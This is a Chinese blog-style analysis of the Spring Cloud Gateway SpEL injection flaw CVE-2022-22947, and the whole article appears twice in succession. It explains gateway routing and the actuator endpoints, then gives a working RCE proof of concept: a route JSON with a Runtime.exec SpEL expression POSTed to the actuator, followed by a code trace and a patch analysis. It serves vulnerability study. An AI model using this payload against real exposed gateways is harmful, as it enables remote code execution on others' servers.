SpringCloud Gateway CVE-2022-22947漏洞如何进行深入分析?

2026-05-06 05:301阅读0评论SEO资讯
  • 内容介绍
  • 文章标签
  • 相关推荐

本文共计1801个文字,预计阅读时间需要8分钟。

SpringCloud Gateway CVE-2022-22947漏洞如何进行深入分析?

Spring Cloud Gateway 简要使用及 CVE-2022-22947 漏洞分析

背景:Spring Cloud 是 Spring 提供的微服务实现框架,其中包括网关、配置中心和注册中心等组件。Spring Cloud Gateway 是其提供的第二代网关实现,基于 Spring WebFlux 构建。

内容概要:- Spring Cloud Gateway 是 Spring Cloud 微服务框架的一部分,提供网关、配置中心和注册中心等功能。- 网关的第一代实现是 zuul,第二代则是 Gateway。- Gateway 的使用方法简要介绍。

CVE-2022-22947 漏洞分析:- 该漏洞存在于 Spring Cloud Gateway 中,是一个远程代码执行漏洞。- 漏洞原因分析及修复措施。

SpringCloud Gateway 简单使用及CVE-2022-22947漏洞分析 背景

SpringCloud 是Spring提供的微服务实现框架,其中包含网关、配置中心和注册中心等内容,网关的第一代实现为zuul,第二代实现为Gateway,提供了更好的性能和特性。

网关可以提供统一的流量控制和访问控制等功能,一般放在客户端请求的入口或作为nginx的直接上游如下图。

Gateway 使用

Gateway配置可以使用两种方式:

  1. yml或者properties 固定配置
  2. 通过actuator插件动态添加

作为一个网关最主要的功能就是路由功能,而路由的规则由Route、Predicate、Filter 三部分组成。

  • Spring Cloud Gateway < 3.1.1
  • Spring Cloud Gateway < 3.0.7
实操 yml固定配置方式
  1. 首先在idea中新建spring项目,pom中引入spring-cloud-starter-gateway依赖(一般使用引入starter即可,这里单独指定含漏洞的自动配置底层包)

<dependency> <groupId>org.springframework.cloud</groupId> <artifactId>spring-cloud-starter-gateway</artifactId> </dependency> <!-- 有漏洞底层包版本--> <dependency> <groupId>org.springframework.cloud</groupId> <artifactId>spring-cloud-gateway-server</artifactId> <version>3.1.0</version> </dependency>

  1. 在application.yml或者application.properties中新建以下配置:

spring: application: name: GatewatDemo cloud: gateway: routes: - id: "router1" uri: "127.0.0.1:9223/" predicates: - Path=/ filters: - AddResponseHeader=Result,1

配置含义: 新建了一个id为router1 的路由,规则为当请求的路径为/时,将请求转发给127.0.0.1:9223 (predicates)并给响应增加一个头Result值为1(filter)。

本地起一个9223服务,观察能否转发。启动项目,转发成功。这就是一个网关基本的功能。

动态配置

除了通过配置文件写死的方式,Gateway也支持通过Actuator(spring 监控组件)动态配置路由。

  1. pom中新引入spring-boot-starter-actuator

<dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-actuator</artifactId> </dependency>

  1. 配置文件( Spring Boot 2.x 后为了安全起见默认只开放/actuator/health和/actuator/info端点),开启gateway监控

management: endpoint: gateway: enabled: true endpoints: web: exposure: include: gateway

  1. 重启应用,访问localhost:8080/actuator/gateway/routes,出现下面页面则表示配置成功。

  1. 使用actuator动态创建路由,使用post请求发送以下内容到127.0.0.1:8080/actuator/gateway/routes/router2

{ "id": "router2", "filters": [{ "name": "AddResponseHeader", "args": { "name": "Result", "value": "2" } }], "uri": "127.0.0.1:9224", "predicate": "/9224" }

含义和第一种类似,不过转发路径变成了9224.

  1. 请求127.0.0.1:8080/actuator/gateway/refresh 应用配置
  2. 请求页面,页面404,这事因为9224的后端服务没有/9224这个端点所以是404,但有请求记录,证明转发成功。

  1. 为了使请求正常,所以配置新增一项重写path

{ "id": "router2", "filters": [{ "name": "AddResponseHeader", "args": { "name": "Result", "value": "2" } },{ "name":"RewritePath", "args":{ "_genkey_0":"/9224", "_genkey_1":"/" } }], "uri": "127.0.0.1:9224", "predicate": "/9224" }

  1. 重新访问,页面正常

漏洞复现

其实这个漏洞本身是一个SpEL注入,我们尝试在之前的yml配置文件中使用SpEL表达式,我们将filter中的AddResponseHeader 值改为#{1+1}

spring: application: name: GatewatDemo cloud: gateway: routes: - id: "router1" uri: "127.0.0.1:9223/" predicates: - Path=/ filters: - AddResponseHeader=Result,#{1+1}

查看返回头,表达式被成功执行:

将表达式替换成恶意的SpEL表达式即可触发RCE,#{T(Runtime).getRuntime().exec("/System/Applications/Calculator.app/Contents/MacOS/Calculator")}

虽然这个地方确实存在SpEL注入,但却很难利用,因为攻击者很难控制目标机器的配置文件,所以利用条件就变成了有没有开启Actuator,且Actuator开启了gateway功能没有配置spring security。

使用动态创建的方法试试。

使用以下payload请求创建路由:

{ "id": "router2", "filters": [{ "name": "AddResponseHeader", "args": { "name": "Result", "value": "#{T(Runtime).getRuntime().exec('/System/Applications/Calculator.app/Contents/MacOS/Calculator')}" } },{ "name":"RewritePath", "args":{ "_genkey_0":"/9224", "_genkey_1":"/" } }], "uri": "127.0.0.1:9224", "predicate": "/9224" }

刷新路由,发现代码成功执行。

原理分析

我们打开spring-cloud-gateway的官网,发现SpEL原本是官方提供的一个引用bean的功能。

我们对exec执行下个断点,观察程序的调用栈。

前面一堆是Reactor的逻辑,因为是异步非阻塞的方式,所以阅读起来有一定门槛。

简单来说,就是当我们请求/actuator/gateway/routes/refresh时会去调用注册在reactor 中的方法,然后请求org.springframework.cloud.gateway.actuate 包中的refresh()方法

后续会将application的上下文传入gateway的逻辑,在处理Filter的逻辑中会对属性字段进行normalizeProperties 操作:

具体逻辑会放入normalize中进行处理,其中第一个参数即为我们自己配置的filter处理逻辑

第三个参数为SpEL的parse。

随后进入ShorcutType中的normalize进行处理,解析key、value进入并将value传入getValue():

SpringCloud Gateway CVE-2022-22947漏洞如何进行深入分析?

在getValue中对字符串进行trim操作,同时判断字符串以#{开始并以}结束:

如果满足条件则进入SpEL进行解析,可以看到这里导致能够RCE的原因,使用了StandardEvaluationContext 作为context, 随后对配置文件的value进行标准SpEL解析。

到这里就基本理解了漏洞触发的原因

补丁分析

在2月17号,开发者提交了在org.springframework.cloud.gateway.support#ShortcutConfigurable使用自定义Context方式替换原来的StanderdContext

自定义的Context增加了Spring的BeanFactory类,从而能实现对Spinrg IOC容器 bean的引用。

修复后新版本运行会报错:

总结

漏洞影响版本:

  • Spring Cloud Gateway < 3.1.1
  • Spring Cloud Gateway < 3.0.7

基本上和SpringCloud Functions 一样是个SpEL注入的漏洞,只不过在网关的场景出现,需要应用暴露actuator,有一定前置条件。

引用

cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-22947

docs.spring.io/spring-cloud-gateway/docs/current/reference/html/

github.com/spring-cloud/spring-cloud-gateway/commit/337cef276bfd8c59fb421bfe7377a9e19c68fe1e

docs.spring.io/spring-boot/docs/current/reference/html/actuator.html#actuator

公众号

欢迎大家关注我的公众号,这里有干货满满的硬核安全知识,和我一起学起来吧!

本文共计1801个文字,预计阅读时间需要8分钟。

SpringCloud Gateway CVE-2022-22947漏洞如何进行深入分析?

Spring Cloud Gateway 简要使用及 CVE-2022-22947 漏洞分析

背景:Spring Cloud 是 Spring 提供的微服务实现框架,其中包括网关、配置中心和注册中心等组件。Spring Cloud Gateway 是其提供的第二代网关实现,基于 Spring WebFlux 构建。

内容概要:- Spring Cloud Gateway 是 Spring Cloud 微服务框架的一部分,提供网关、配置中心和注册中心等功能。- 网关的第一代实现是 zuul,第二代则是 Gateway。- Gateway 的使用方法简要介绍。

CVE-2022-22947 漏洞分析:- 该漏洞存在于 Spring Cloud Gateway 中,是一个远程代码执行漏洞。- 漏洞原因分析及修复措施。

SpringCloud Gateway 简单使用及CVE-2022-22947漏洞分析 背景

SpringCloud 是Spring提供的微服务实现框架,其中包含网关、配置中心和注册中心等内容,网关的第一代实现为zuul,第二代实现为Gateway,提供了更好的性能和特性。

网关可以提供统一的流量控制和访问控制等功能,一般放在客户端请求的入口或作为nginx的直接上游如下图。

Gateway 使用

Gateway配置可以使用两种方式:

  1. yml或者properties 固定配置
  2. 通过actuator插件动态添加

作为一个网关最主要的功能就是路由功能,而路由的规则由Route、Predicate、Filter 三部分组成。

  • Spring Cloud Gateway < 3.1.1
  • Spring Cloud Gateway < 3.0.7
实操 yml固定配置方式
  1. 首先在idea中新建spring项目,pom中引入spring-cloud-starter-gateway依赖(一般使用引入starter即可,这里单独指定含漏洞的自动配置底层包)

<dependency> <groupId>org.springframework.cloud</groupId> <artifactId>spring-cloud-starter-gateway</artifactId> </dependency> <!-- 有漏洞底层包版本--> <dependency> <groupId>org.springframework.cloud</groupId> <artifactId>spring-cloud-gateway-server</artifactId> <version>3.1.0</version> </dependency>

  1. 在application.yml或者application.properties中新建以下配置:

spring: application: name: GatewatDemo cloud: gateway: routes: - id: "router1" uri: "127.0.0.1:9223/" predicates: - Path=/ filters: - AddResponseHeader=Result,1

配置含义: 新建了一个id为router1 的路由,规则为当请求的路径为/时,将请求转发给127.0.0.1:9223 (predicates)并给响应增加一个头Result值为1(filter)。

本地起一个9223服务,观察能否转发。启动项目,转发成功。这就是一个网关基本的功能。

动态配置

除了通过配置文件写死的方式,Gateway也支持通过Actuator(spring 监控组件)动态配置路由。

  1. pom中新引入spring-boot-starter-actuator

<dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-actuator</artifactId> </dependency>

  1. 配置文件( Spring Boot 2.x 后为了安全起见默认只开放/actuator/health和/actuator/info端点),开启gateway监控

management: endpoint: gateway: enabled: true endpoints: web: exposure: include: gateway

  1. 重启应用,访问localhost:8080/actuator/gateway/routes,出现下面页面则表示配置成功。

  1. 使用actuator动态创建路由,使用post请求发送以下内容到127.0.0.1:8080/actuator/gateway/routes/router2

{ "id": "router2", "filters": [{ "name": "AddResponseHeader", "args": { "name": "Result", "value": "2" } }], "uri": "127.0.0.1:9224", "predicate": "/9224" }

含义和第一种类似,不过转发路径变成了9224.

  1. 请求127.0.0.1:8080/actuator/gateway/refresh 应用配置
  2. 请求页面,页面404,这事因为9224的后端服务没有/9224这个端点所以是404,但有请求记录,证明转发成功。

  1. 为了使请求正常,所以配置新增一项重写path

{ "id": "router2", "filters": [{ "name": "AddResponseHeader", "args": { "name": "Result", "value": "2" } },{ "name":"RewritePath", "args":{ "_genkey_0":"/9224", "_genkey_1":"/" } }], "uri": "127.0.0.1:9224", "predicate": "/9224" }

  1. 重新访问,页面正常

漏洞复现

其实这个漏洞本身是一个SpEL注入,我们尝试在之前的yml配置文件中使用SpEL表达式,我们将filter中的AddResponseHeader 值改为#{1+1}

spring: application: name: GatewatDemo cloud: gateway: routes: - id: "router1" uri: "127.0.0.1:9223/" predicates: - Path=/ filters: - AddResponseHeader=Result,#{1+1}

查看返回头,表达式被成功执行:

将表达式替换成恶意的SpEL表达式即可触发RCE,#{T(Runtime).getRuntime().exec("/System/Applications/Calculator.app/Contents/MacOS/Calculator")}

虽然这个地方确实存在SpEL注入,但却很难利用,因为攻击者很难控制目标机器的配置文件,所以利用条件就变成了有没有开启Actuator,且Actuator开启了gateway功能没有配置spring security。

使用动态创建的方法试试。

使用以下payload请求创建路由:

{ "id": "router2", "filters": [{ "name": "AddResponseHeader", "args": { "name": "Result", "value": "#{T(Runtime).getRuntime().exec('/System/Applications/Calculator.app/Contents/MacOS/Calculator')}" } },{ "name":"RewritePath", "args":{ "_genkey_0":"/9224", "_genkey_1":"/" } }], "uri": "127.0.0.1:9224", "predicate": "/9224" }

刷新路由,发现代码成功执行。

原理分析

我们打开spring-cloud-gateway的官网,发现SpEL原本是官方提供的一个引用bean的功能。

我们对exec执行下个断点,观察程序的调用栈。

前面一堆是Reactor的逻辑,因为是异步非阻塞的方式,所以阅读起来有一定门槛。

简单来说,就是当我们请求/actuator/gateway/routes/refresh时会去调用注册在reactor 中的方法,然后请求org.springframework.cloud.gateway.actuate 包中的refresh()方法

后续会将application的上下文传入gateway的逻辑,在处理Filter的逻辑中会对属性字段进行normalizeProperties 操作:

具体逻辑会放入normalize中进行处理,其中第一个参数即为我们自己配置的filter处理逻辑

第三个参数为SpEL的parse。

随后进入ShorcutType中的normalize进行处理,解析key、value进入并将value传入getValue():

SpringCloud Gateway CVE-2022-22947漏洞如何进行深入分析?

在getValue中对字符串进行trim操作,同时判断字符串以#{开始并以}结束:

如果满足条件则进入SpEL进行解析,可以看到这里导致能够RCE的原因,使用了StandardEvaluationContext 作为context, 随后对配置文件的value进行标准SpEL解析。

到这里就基本理解了漏洞触发的原因

补丁分析

在2月17号,开发者提交了在org.springframework.cloud.gateway.support#ShortcutConfigurable使用自定义Context方式替换原来的StanderdContext

自定义的Context增加了Spring的BeanFactory类,从而能实现对Spinrg IOC容器 bean的引用。

修复后新版本运行会报错:

总结

漏洞影响版本:

  • Spring Cloud Gateway < 3.1.1
  • Spring Cloud Gateway < 3.0.7

基本上和SpringCloud Functions 一样是个SpEL注入的漏洞,只不过在网关的场景出现,需要应用暴露actuator,有一定前置条件。

引用

cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-22947

docs.spring.io/spring-cloud-gateway/docs/current/reference/html/

github.com/spring-cloud/spring-cloud-gateway/commit/337cef276bfd8c59fb421bfe7377a9e19c68fe1e

docs.spring.io/spring-boot/docs/current/reference/html/actuator.html#actuator

公众号

欢迎大家关注我的公众号,这里有干货满满的硬核安全知识,和我一起学起来吧!